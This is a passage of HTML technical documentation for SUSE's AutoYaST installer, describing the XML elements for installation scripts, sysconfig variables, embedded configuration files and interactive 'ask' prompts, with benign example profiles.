          The script itself (source code), encapsulated in a CDATA tag. If
          you do not want to put the whole shell script into the XML
          profile, use the location parameter.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;source&gt;
&lt;![CDATA[ 
echo "Testing the init script" &gt;
/tmp/init_out.txt 
]]&gt;
&lt;/source&gt;</pre></div>
        </td><td>
         <p>
          Either &lt;location&gt; or &lt;source&gt; must be
          defined.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">filename</code>
         </p>
        </td><td>
         <p>
          The file name of the script. It will be stored in a temporary
          directory under <code class="filename">/tmp</code>
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;filename&gt;mynitScript5.sh&lt;/filename&gt;</pre></div>
        </td><td>
         <p>
          Optional ion case you only have a single init script. The default
          name (<code class="filename">init-scripts</code>) is used in this case. If
          having specified more than one init script, you must set a unique
          name for each script.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">rerun</code>
         </p>
        </td><td>
         <p>
          A script is only run once. Even if you use ayast_setup to run an
          XML file multiple times, the script is only run once. Change this
          default behavior by setting this boolean to
          <code class="literal">true</code>.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;rerun config:type="boolean"&gt;true&lt;/rerun&gt;</pre></div>
        </td><td>
         <p>
          Optional, default is <code class="literal">false</code> (scripts only run
          once).
         </p>
        </td></tr></tbody></table></div></div><p>
     When added to the control file manually, scripts need to be included in
     a <span class="emphasis"><em>CDATA</em></span> element to avoid confusion with the file
     syntax and other tags defined in the control file.
    </p></div><div class="sect2 " id="scripts.syntax"><div class="titlepage"><div><div><h3 class="title" id="scripts.syntax"><span class="number">4.16.6 </span><span class="name">Script XML Representation</span> <a title="Permalink" class="permalink" href="configuration.html#scripts.syntax">#</a></h3></div></div></div><p>
     All XML elements described below can be used for each of the script
     types described above. The only exceptions are
     <code class="literal">chrooted</code> and
     <code class="literal">network_needed</code>—they are only valid for
     chroot and post-install scripts.
    </p><div class="table" id="idm140013828371920"><div class="table-title-wrap"><h6 class="table-title"><span class="number">Table 4.3: </span><span class="name">Script XML Representation </span><a title="Permalink" class="permalink" href="configuration.html#idm140013828371920">#</a></h6></div><div class="table-contents"><table summary="Script XML Representation" border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Element
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th><th>
         <p>
          Comment
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">location</code>
         </p>
        </td><td>
         <p>
          Define a location from where the script gets fetched. Locations
          can be the same as for the control file (HTTP, FTP, NFS, etc.).
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;location
&gt;http://10.10.0.1/myPreScript.sh&lt;/location&gt;</pre></div>
        </td><td>
         <p>
          Either <code class="literal">location</code> or <code class="literal">source</code>
          must be defined.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">source</code>
         </p>
        </td><td>
         <p>
          The script itself (source code), encapsulated in a CDATA tag. If
          you do not want to put the whole shell script into the XML control
          file, refer to the location parameter.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;source&gt;
&lt;![CDATA[ 
echo "Testing the pre script" &gt; /tmp/pre-script_out.txt 
]]&gt;
&lt;/source&gt;</pre></div>
        </td><td>
         <p>
          Either <code class="literal">location</code> or <code class="literal">source</code>
          must be defined.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">interpreter</code>
         </p>
        </td><td>
         <p>
          Specify the interpreter that must be used for the script.
          Supported options are shell and perl.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;interpreter&gt;perl&lt;/interpreter&gt;</pre></div>
        </td><td>
         <p>
          Optional (default is <code class="literal">shell</code>).
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">file name</code>
         </p>
        </td><td>
         <p>
          The file name of the script. It will be stored in a temporary
          directory under <code class="filename">/tmp</code>.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;filename&gt;myPreScript5.sh&lt;/filename&gt;</pre></div>
        </td><td>
         <p>
          Optional. Default is the type of the script (pre-scripts in this
          case). If you have more than one script, you should define
          different names for each script.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">feedback</code>
         </p>
        </td><td>
         <p>
          If this boolean is <code class="literal">true</code>, output and error
          messages of the script (STDOUT and STDERR) will be shown in a
          pop-up, which the user needs to confirm via the OK button. the
          pop-up will only be shown if the script produces any such output.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;feedback config:type="boolean"&gt;true&lt;/feedback&gt;</pre></div>
        </td><td>
         <p>
          Optional, default is <code class="literal">false</code>.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">feedback_type</code>
         </p>
        </td><td>
         <p>
          This can be <code class="literal">message</code>, <code class="literal">warning</code>
          or <code class="literal">error</code>. Set the timeout for these pop-ups in
          the &lt;report&gt; section.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;feedback_type&gt;warning&lt;/feedback_type&gt;</pre></div>
        </td><td>
         <p>
          Optional, if missing, an always blocking pop-up is used.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">debug</code>
         </p>
        </td><td>
         <p>
          If this is <code class="literal">true</code>, every single line of a shell
          script is logged. Perl scripts are run with warnings turned on.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;debug config:type="boolean"&gt;true&lt;/debug&gt;</pre></div>
        </td><td>
         <p>
          Optional, default is <code class="literal">true</code>.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">notification</code>
         </p>
        </td><td>
         <p>
          This text will be shown in a pop-up for the time the script is
          running in the background.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;notification&gt;Please wait while script is running...&lt;/notification&gt;</pre></div>
        </td><td>
         <p>
          Optional, if not configured, no notification pop-up will be shown.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">param-list</code>
         </p>
        </td><td>
         <p>
          It is possible to specify parameters given to the script being
          called. You may have more than one <code class="literal">param</code> entry.
          They are concatenated by a single space character on the script
          command line. If any shell quoting should be necessary (for
          example to protect embedded spaces) you need to include this.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;param-list&gt;
  &lt;param&gt;par1&lt;/param&gt;
  &lt;param&gt;par2 par3&lt;/param&gt;
  &lt;param&gt;"par4.1 par4.2"&lt;/param&gt;
&lt;/param-list&gt;</pre></div>
        </td><td>
         <p>
          Optional, if not configured, no parameters get passed to script.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">rerun</code>
         </p>
        </td><td>
         <p>
          A script is only run once. Even if you use
          <code class="literal">ayast</code>_setup to run an XML file multiple times,
          the script is only run once. Change this default behavior by
          setting this boolean to <code class="literal">true</code>.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;rerun config:type="boolean"&gt;true&lt;/rerun&gt;</pre></div>
        </td><td>
         <p>
          Optional, default is <code class="literal">false</code> (scripts only run
          once).
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">chrooted</code>
         </p>
        </td><td>
         <p>
          If set to <code class="literal">false</code>, the installed system remains
          mounted at <code class="filename">/mnt</code> and no chroot happens. The
          boot loader is not installed either at this stage. Setting it to
          <code class="literal">true</code> means, a chroot into
          <code class="filename">/mnt</code> is performed, where the installed system
          is mounted. The boot loader is installed, and if you want to
          change anything in the installed system, you do not need to use the
          <code class="filename">/mnt</code> prefix anymore.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;chrooted config:type="boolean"
&gt;true&lt;/chrooted&gt;</pre></div>
        </td><td>
         <p>
          Optional, default is <code class="literal">false</code>. This option is only
          available for chroot environment scripts.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">network_needed</code>
         </p>
        </td><td>
         <p>
          
          If set to <code class="literal">false</code> the script will run after the
          YaST modules like the user configuration and everything else
          are done. The network is configured but not up and running yet.
          With this value set to <code class="literal">true</code>, the script runs
          before all YaST modules are configured. So there is no local
          user and no network is configured but the installation network is
          still up and running (if you did a network installation)..
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;network_needed config:type="boolean"
&gt;true&lt;/network_needed&gt;</pre></div>
        </td><td>
         <p>
          Optional, default is <code class="literal">false</code>. This option is only
          available for post-install scripts.
         </p>
        </td></tr></tbody></table></div></div></div><div class="sect2 " id="script_examples"><div class="titlepage"><div><div><h3 class="title" id="script_examples"><span class="number">4.16.7 </span><span class="name">Script Example</span> <a title="Permalink" class="permalink" href="configuration.html#script_examples">#</a></h3></div></div></div><div class="example" id="idm140013838683376"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.28: </span><span class="name">Script Configuration </span><a title="Permalink" class="permalink" href="configuration.html#idm140013838683376">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;?xml version="1.0"?&gt;
&lt;!DOCTYPE profile&gt;
&lt;profile xmlns="http://www.suse.com/1.0/yast2ns" xmlns:config="http://www.suse.com/1.0/configns"&gt;
&lt;scripts&gt;
  &lt;chroot-scripts config:type="list"&gt;
    &lt;script&gt;
      &lt;chrooted config:type="boolean"&gt;true&lt;/chrooted&gt;
      &lt;filename&gt;chroot.sh&lt;/filename&gt;
      &lt;interpreter&gt;shell&lt;/interpreter&gt;
      &lt;source&gt;&lt;![CDATA[
#!/bin/sh
echo "Testing chroot (chrooted) scripts"
ls
]]&gt;                    
      &lt;/source&gt;
    &lt;/script&gt;
    &lt;script&gt;
      &lt;filename&gt;chroot.sh&lt;/filename&gt;
        &lt;interpreter&gt;shell&lt;/interpreter&gt;
        &lt;source&gt;&lt;![CDATA[
#!/bin/sh
echo "Testing chroot scripts"
df
cd /mnt
ls
]]&gt;                    
        &lt;/source&gt;
      &lt;/script&gt;
    &lt;/chroot-scripts&gt;
    &lt;post-scripts config:type="list"&gt;
      &lt;script&gt;
        &lt;filename&gt;post.sh&lt;/filename&gt;
        &lt;interpreter&gt;shell&lt;/interpreter&gt;
        &lt;source&gt;&lt;![CDATA[
#!/bin/sh

echo "Running Post-install script"
systemctl start portmap
mount -a 192.168.1.1:/local /mnt
cp /mnt/test.sh /tmp
umount /mnt
]]&gt;
        &lt;/source&gt;
      &lt;/script&gt;
      &lt;script&gt;
        &lt;filename&gt;post.pl&lt;/filename&gt;
        &lt;interpreter&gt;perl&lt;/interpreter&gt;
        &lt;source&gt;&lt;![CDATA[
#!/usr/bin/perl
print "Running Post-install script";

]]&gt;
        &lt;/source&gt;
      &lt;/script&gt;
    &lt;/post-scripts&gt;
    &lt;pre-scripts config:type="list"&gt;
      &lt;script&gt;
        &lt;interpreter&gt;shell&lt;/interpreter&gt;
        &lt;location&gt;http://192.168.1.1/profiles/scripts/prescripts.sh&lt;/location&gt;
      &lt;/script&gt;
      &lt;script&gt;
        &lt;filename&gt;pre.sh&lt;/filename&gt;
        &lt;interpreter&gt;shell&lt;/interpreter&gt;
        &lt;source&gt;&lt;![CDATA[
#!/bin/sh
echo "Running pre-install script"
]]&gt;
        &lt;/source&gt;
      &lt;/script&gt;
    &lt;/pre-scripts&gt;
    &lt;postpartitioning-scripts config:type="list"&gt;
      &lt;script&gt;
        &lt;filename&gt;postpart.sh&lt;/filename&gt;
        &lt;interpreter&gt;shell&lt;/interpreter&gt;
        &lt;debug config:type="boolean"&gt;false&lt;/debug&gt;
        &lt;feedback config:type="boolean"&gt;true&lt;/feedback&gt;
        &lt;source&gt;&lt;![CDATA[
touch /mnt/testfile
echo Hi
]]&gt;
        &lt;/source&gt;
      &lt;/script&gt;
    &lt;/postpartitioning-scripts&gt;
  &lt;/scripts&gt;
&lt;/profile&gt;</pre></div></div></div><p>
     After installation is finished, the scripts and the output logs can be
     found in the directory <code class="filename">/var/adm/autoinstall</code>. The
     scripts are located in the subdirectory <code class="filename">scripts</code>
     and the output logs in the <code class="filename">log</code> directory.
    </p><p>
     The log consists of the output produced when executing the shell
     scripts using the following command:
    </p><div class="verbatim-wrap"><pre class="screen">/bin/sh -x <em class="replaceable ">SCRIPT_NAME</em> 2&amp;&gt;/var/adm/autoinstall/logs/<em class="replaceable ">SCRIPT_NAME</em>.log</pre></div></div></div><div class="sect1 " id="createprofile.sysconfig"><div class="titlepage"><div><div><h2 class="title" id="createprofile.sysconfig"><span class="number">4.17 </span><span class="name">System Variables (Sysconfig)</span> <a title="Permalink" class="permalink" href="configuration.html#createprofile.sysconfig">#</a></h2></div></div></div><p>
    Using the sysconfig resource, it is possible to define configuration
    variables in the sysconfig repository
    (<code class="filename">/etc/sysconfig</code>) directly. Sysconfig variables,
    offer the possibility to fine-tune many system components and
    environment variables exactly to your needs.
   </p><p>
    The following example shows how a variable can be set using the
    sysconfig resource.
   </p><div class="complex-example"><div class="example" id="idm140013838672960"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.29: </span><span class="name">Sysconfig Configuration </span><a title="Permalink" class="permalink" href="configuration.html#idm140013838672960">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;sysconfig config:type="list" &gt;
  &lt;sysconfig_entry&gt;
    &lt;sysconfig_key&gt;XNTPD_INITIAL_NTPDATE&lt;/sysconfig_key&gt;
    &lt;sysconfig_path&gt;/etc/sysconfig/xntp&lt;/sysconfig_path&gt;
    &lt;sysconfig_value&gt;ntp.host.com&lt;/sysconfig_value&gt;
  &lt;/sysconfig_entry&gt;
  &lt;sysconfig_entry&gt;
    &lt;sysconfig_key&gt;HTTP_PROXY&lt;/sysconfig_key&gt;
    &lt;sysconfig_path&gt;/etc/sysconfig/proxy&lt;/sysconfig_path&gt;
    &lt;sysconfig_value&gt;proxy.host.com:3128&lt;/sysconfig_value&gt;
  &lt;/sysconfig_entry&gt;
  &lt;sysconfig_entry&gt;
    &lt;sysconfig_key&gt;FTP_PROXY&lt;/sysconfig_key&gt;
    &lt;sysconfig_path&gt;/etc/sysconfig/proxy&lt;/sysconfig_path&gt;
    &lt;sysconfig_value&gt;proxy.host.com:3128&lt;/sysconfig_value&gt;
  &lt;/sysconfig_entry&gt;
&lt;/sysconfig&gt;</pre></div><p>
     Both relative and absolute paths can be provided. If no absolute path
     is given, it is treated as a sysconfig file under the
     <code class="filename">/etc/sysconfig</code> directory.
    </p></div></div></div></div><div class="sect1 " id="createprofile.completeconf"><div class="titlepage"><div><div><h2 class="title" id="createprofile.completeconf"><span class="number">4.18 </span><span class="name">Adding Complete Configurations</span> <a title="Permalink" class="permalink" href="configuration.html#createprofile.completeconf">#</a></h2></div></div></div><p>
    For many applications and services you might have prepared a
    configuration file which should be copied to the appropriate location in
    the installed system, for example if you are installing a Web server and
    have a <code class="literal">ready to go</code> server configuration file
    (<code class="filename">httpd.conf</code>).
   </p><p>
    Using this resource, you can embed the file into the control file by
    specifying the final path on the installed system. YaST will copy
    this file to the specified location.
   </p><p>
    This feature requires the autoyast2 package to be installed. If the
    package is missing, AutoYaST will automatically install the package if it
    is missing.
   </p><p>
    You can specify the <code class="literal">file_location</code> where the file
    should be retrieved from. This can also be a location on the network
    such as an HTTP server:
    <code class="literal">&lt;file_location&gt;http://my.server.site/issue&lt;/file_location&gt;</code>.
   </p><p>
    You can create directories by specifying a <code class="literal">file_path</code>
    that ends with a slash.
   </p><div class="example" id="idm140013838663312"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.30: </span><span class="name">Dumping files into the installed system </span><a title="Permalink" class="permalink" href="configuration.html#idm140013838663312">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;files config:type="list"&gt;
  &lt;file&gt;
    &lt;file_path&gt;/etc/apache2/httpd.conf&lt;/file_path&gt;
    &lt;file_contents&gt;

&lt;![CDATA[
some content
]]&gt;

    &lt;/file_contents&gt;
  &lt;/file&gt;
  &lt;file&gt;
    &lt;file_path&gt;/mydir/a/b/c/&lt;/file_path&gt; &lt;!-- create directory --&gt;
  &lt;/file&gt;
&lt;/files&gt;</pre></div></div></div><p>
    A more advanced example is shown below. This configuration will create a
    file using the content supplied in <code class="literal">file_contents</code> and
    change the permissions and ownership of the file. After the file has
    been copied to the system, a script is executed, which can be used to
    manipulate the file and prepare it for the environment of the client.
   </p><div class="example" id="idm140013838660512"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.31: </span><span class="name">Dumping files into the installed system </span><a title="Permalink" class="permalink" href="configuration.html#idm140013838660512">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;files config:type="list"&gt;
  &lt;file&gt;
    &lt;file_path&gt;/etc/someconf.conf&lt;/file_path&gt;
    &lt;file_contents&gt;

&lt;![CDATA[
some content
]]&gt;

    &lt;/file_contents&gt;
    &lt;file_owner&gt;tux.users&lt;/file_owner&gt;
    &lt;file_permissions&gt;444&lt;/file_permissions&gt;
    &lt;file_script&gt;
      &lt;interpreter&gt;shell&lt;/interpreter&gt;
      &lt;source&gt;

&lt;![CDATA[
#!/bin/sh

echo "Testing file scripts" &gt;&gt; /etc/someconf.conf
df
cd /mnt
ls
]]&gt;

      &lt;/source&gt;
    &lt;/file_script&gt;
  &lt;/file&gt;
&lt;/files&gt;</pre></div></div></div></div><div class="sect1 " id="CreateProfile.Ask"><div class="titlepage"><div><div><h2 class="title" id="CreateProfile.Ask"><span class="number">4.19 </span><span class="name">Ask the User for Values during Installation</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Ask">#</a></h2></div></div></div><p>
    You have the option to let the user decide the values of specific parts
    of the control file during the installation. If you use this feature, a
    pop-up will ask the user to enter a specific part of the control file
    during installation. If you want a full auto installation, but the user
    should set the password of the local account, you can do this via the
    <code class="literal">ask</code> directive in the control file.
   </p><p>
    The elements listed below must be placed within the following XML
    structure:
   </p><div class="verbatim-wrap"><pre class="screen">&lt;general&gt;
  &lt;ask-list config:type="list"&gt;
    &lt;ask&gt;
      ...
    &lt;/ask&gt;
  &lt;/ask-list&gt; tags
&lt;/general&gt;</pre></div><div class="table" id="idm140013838655088"><div class="table-title-wrap"><h6 class="table-title"><span class="number">Table 4.4: </span><span class="name">Ask the User for Values: XML representation </span><a title="Permalink" class="permalink" href="configuration.html#idm140013838655088">#</a></h6></div><div class="table-contents"><table summary="Ask the User for Values: XML representation" border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
        <p>
         Element
        </p>
       </th><th>
        <p>
         Description
        </p>
       </th><th>
        <p>
         Comment
        </p>
       </th></tr></thead><tbody><tr><td>
        <p>
         <code class="literal">question</code>
        </p>
       </td><td>
        <p>
         The question you want to ask the user.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;question&gt;Enter the LDAP server&lt;/question&gt;</pre></div>
       </td><td>
        <p>
         The default value is the path to the element (the path often looks
         strange, so we recommend entering a question).
        </p>
        
       </td></tr><tr><td>
        <p>
         <code class="literal">default</code>
        </p>
       </td><td>
        <p>
         Set a preselection for the user. A text entry will be filled out
         with this value. A check box will be true or false and a selection
         will have the given value preselected.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;default&gt;dc=suse,dc=de&lt;/default&gt;</pre></div>
       </td><td>
        <p>
         Optional.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">help</code>
        </p>
       </td><td>
        <p>
         An optional help text that is shown on the left side of the
         question.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;help&gt;Enter the LDAP server address.&lt;/help&gt;</pre></div>
       </td><td>
        <p>
         Optional.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">title</code>
        </p>
       </td><td>
        <p>
         An optional title that is shown above the questions.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;title&gt;LDAP server&lt;/title&gt;</pre></div>
       </td><td>
        <p>
         Optional.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">type</code>
        </p>
       </td><td>
        <p>
         The type of the element you want to change. Possible values are
         <code class="literal">symbol</code>, <code class="literal">boolean</code>,
         <code class="literal">string</code> and <code class="literal">integer</code>. The file
         system in the partition section is a symbol, while the
         <code class="literal">encrypted</code> element in the user configuration is a
         boolean. You can see the type of that element if you look in your
         control file at the <code class="literal">config:type="...."</code>
         attribute. You can also use <code class="literal">static_text</code> as type.
         A <code class="literal">static_text</code> is a text that does not
         require any user input and can be used to show information if it is
         not wanted in the help text.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;type&gt;symbol&lt;/type&gt;</pre></div>
       </td><td>
        <p>
         Optional. The default is <code class="literal">string</code>. If type is
         <code class="literal">symbol</code>, you must provide the selection element
         too (see below).
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">password</code>
        </p>
       </td><td>
        <p>
         If this boolean is set to <code class="literal">true</code>, a password
         dialog pops up instead of a simple text entry. Setting this to
         <code class="literal">true</code> only makes sense if <code class="literal">type</code>
         is string.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;password config:type="boolean"&gt;true&lt;/password&gt;</pre></div>
       </td><td>
        <p>
         Optional. The default is <code class="literal">false</code>.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">pathlist</code>
        </p>
       </td><td>
        <p>
         A list of <code class="literal">path</code> elements. A path is a comma
         separated list of elements that describes the path to the element
         you want to change. For example, the LDAP server element can be
         found in the control file in the
         &lt;ldap&gt;&lt;ldap_server&gt; section. So if you want
         to change that value, you need to set the path to
         <code class="literal">ldap,ldap_server</code>. If you want to change the
         password of the first user in the control file, you need to set the
         path to <code class="literal">users,0,user_password</code>. The
         <code class="literal">0</code> indicates the first user in the &lt;users
         config:type="list"&gt; list of users in the control file.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;pathlist config:type="list"&gt;
  &lt;path&gt;networking,dns,hostname&lt;/path&gt;
  &lt;path&gt;...&lt;/path&gt;
&lt;/pathlist&gt;</pre></div>
       </td><td>
        <p>
         This information is optional but you should at least provide
         <code class="literal">path</code> or <code class="literal">file</code>.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">file</code>
        </p>
       </td><td>
        <p>
         You can store the answer to a question in a file, to use it in one
         of your scripts later. If you ask during
         <code class="literal">stage=inital</code> and you want to use the answer in
         stage2, then you need to copy the answer-file in a chroot script
         that is running as <code class="literal">chrooted=false</code>. Use the
         command: <code class="command">cp /tmp/my_answer /mnt/tmp/</code>. The reason
         is that <code class="filename">/tmp</code> in stage1 is in the RAM disk
         and will get lost after the reboot, but the installed system is
         already mounted at <code class="filename">/mnt/</code>.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;file&gt;/tmp/answer_hostname&lt;/file&gt;</pre></div>
       </td><td>
        <p>
         This information is optional, but you should at least provide
         <code class="literal">path</code> or <code class="literal">file</code>.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">password</code>
        </p>
       </td><td>
        <p>
         If this boolean is set to <code class="literal">true</code>, a password
         dialog pops up instead of a simple text entry. Setting this to
         <code class="literal">true</code> only makes sense if <code class="literal">type</code>
         is string.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;password config:type="boolean"&gt;true&lt;/password&gt;</pre></div>
       </td><td>
        <p>
         Optional. The default is <code class="literal">false</code>.
        </p>
       </td></tr><tr><td>
        <p>
         stage
        </p>
       </td><td>
        <p>
         Stage configures the installation stage in which the question pops
         up. You can set this value to <code class="literal">cont</code> or
         <code class="literal">initial</code>. <code class="literal">initial</code> means the
         pop-up comes up very early in the installation, shortly after the
         pre-script has run. <code class="literal">cont</code> means, that the dialog
         with the question comes after the first reboot when the system
         boots for the very first time. Questions you answer during the
         <code class="literal">inital</code> stage will write their answer into the
         control file on the hard disk. You should know that if you enter
         clear text passwords during <code class="literal">initial</code>. Of course
         it does not make sense to ask for the file system to use during the
         <code class="literal">cont</code> phase. The hard disk is already partitioned
         at that stage and the question will have no effect.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;stage&gt;cont&lt;/stage&gt;</pre></div>
       </td><td>
        <p>
         Optional. The default is <code class="literal">initial</code>.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">selection</code>
        </p>
       </td><td>
        <p>
         The selection element contains a list of <code class="literal">entry</code>
         elements. Each entry represents a possible option for the user to
         choose. The user cannot enter a value in a text box, but he can
         choose from a list of values.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;selection config:type="list"&gt;
  &lt;entry&gt;
    &lt;value&gt;
        btrfs
    &lt;/value&gt;
    &lt;label&gt;
        Btrfs File System
    &lt;/label&gt;
  &lt;/entry&gt;
  &lt;entry&gt;
    &lt;value&gt;
        ext3
    &lt;/value&gt;
    &lt;label&gt;
        Extended3 File System
    &lt;/label&gt;
  &lt;/entry&gt;
&lt;/selection&gt;</pre></div>
       </td><td>
        <p>
         Optional for <code class="literal">type=string</code>, not possible for
         <code class="literal">type=boolean</code> and mandatory for
         <code class="literal">type=symbol</code>.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">dialog</code>
        </p>
       </td><td>
        <p>
         You can ask more than one question per dialog. To do so, specify
         the dialog-id with an integer. All questions with the same
         dialog-id belong to the same dialog. The dialogs are sorted by the
         id too.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;dialog config:type="integer"&gt;3&lt;/dialog&gt;</pre></div>
       </td><td>
        <p>
         Optional.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">element</code>
        </p>
       </td><td>
        <p>
         you can have more than one question per dialog. To make that
         possible you need to specify the element-id with an integer. The
         questions in a dialog are sorted by id.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;element config:type="integer"&gt;1&lt;/element&gt;</pre></div>
       </td><td>
        <p>
         Optional (see dialog).
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">width</code>
        </p>
       </td><td>
        <p>
         You can increase the default width of dialog. If there are multiple
         width specifications per dialog, the largest one is used. The
         number is roughly equivalent to the number of characters.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;width config:type="integer"&gt;50&lt;/width&gt;</pre></div>
       </td><td>
        <p>
         Optional.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">height</code>
        </p>
       </td><td>
        <p>
         You can increase default height of dialog. If there are multiple
         height specifications per dialog, largest one is used. The number
         is roughly equivalent to number of lines.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;height config:type="integer"&gt;15&lt;/height&gt;</pre></div>
       </td><td>
        <p>
         Optional.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">frametitle</code>
        </p>
       </td><td>
        <p>
         You can have more than one question per dialog. Each question on a
         dialog has a frame that can have a frame title, a small caption for
         each question. You can put multiple elements into one frame. They
         need to have the same frame title.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;frametitle&gt;User data&lt;/frametitle&gt;</pre></div>
       </td><td>
        <p>
         Optional. Default is no frame title.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">script</code>
        </p>
       </td><td>
        <p>
         You can run scripts after a question has been answered (see the
         table below for detailed instructions about scripts).
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;script&gt;...&lt;/script&gt;</pre></div>
       </td><td>
        <p>
         Optional (default is no script).
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">ok_label</code>
        </p>
       </td><td>
        <p>
         You can change the label on the <span class="guimenu">Ok</span> button. The
         last element that specifies the label for a dialog wins.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;ok_label&gt;Finish&lt;/ok_label&gt;</pre></div>
       </td><td>
        <p>
         Optional.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">back_label</code>
        </p>
       </td><td>
        <p>
         You can change the label on the <span class="guimenu">Back</span> button. The
         last element that specifies the label for a dialog wins.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;back_label&gt;change values&lt;/back_label&gt;</pre></div>
       </td><td>
        <p>
         Optional.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">timeout</code>
        </p>
       </td><td>
        <p>
         You can specify an integer here that is used as timeout in seconds.
         If the user does not answer the question before the timeout, the
         default value is taken as answer. When the user touches or changes
         any widget in the dialog, the timeout is turned off and the dialog
         needs to be confirmed via the ok-button.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;timeout config:type="integer"&gt;30&lt;/timeout&gt;</pre></div>
       </td><td>
        <p>
         Optional. A missing value is interpreted as <code class="literal">0</code>,
         which means that there is no timeout.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">default_value_script</code>
        </p>
       </td><td>
        <p>
         You can run scripts to set the default value for a question (see
         <a class="xref" href="configuration.html#CreateProfile.Ask.default_value" title="4.19.1. Default Value Scripts">Section 4.19.1, “Default Value Scripts”</a> for detailed
         instructions about default value scripts). This feature is useful
         if you can <code class="literal">calculate</code> a default value, especially
         in combination with the <code class="literal">timeout</code> option.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;default_value_script&gt;...&lt;/default_value_script&gt;</pre></div>
       </td><td>
        <p>
         Optional. Default is no script.
        </p>
       </td></tr></tbody></table></div></div><div class="sect2 " id="CreateProfile.Ask.default_value"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Ask.default_value"><span class="number">4.19.1 </span><span class="name">Default Value Scripts</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Ask.default_value">#</a></h3></div></div></div><p>
     You can run scripts to set the default value for a question. This
     feature is useful if you can <code class="literal">calculate</code> a default
     value, especially in combination with the <code class="literal">timeout</code>
     option.
    </p><p>
     The elements listed below must be placed within the following XML
     structure:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;general&gt;
  &lt;ask-list config:type="list"&gt;
    &lt;ask&gt;
      &lt;default_value_script&gt;
        ...
      &lt;/default_value_script&gt;
    &lt;/ask&gt;
  &lt;/ask-list&gt;
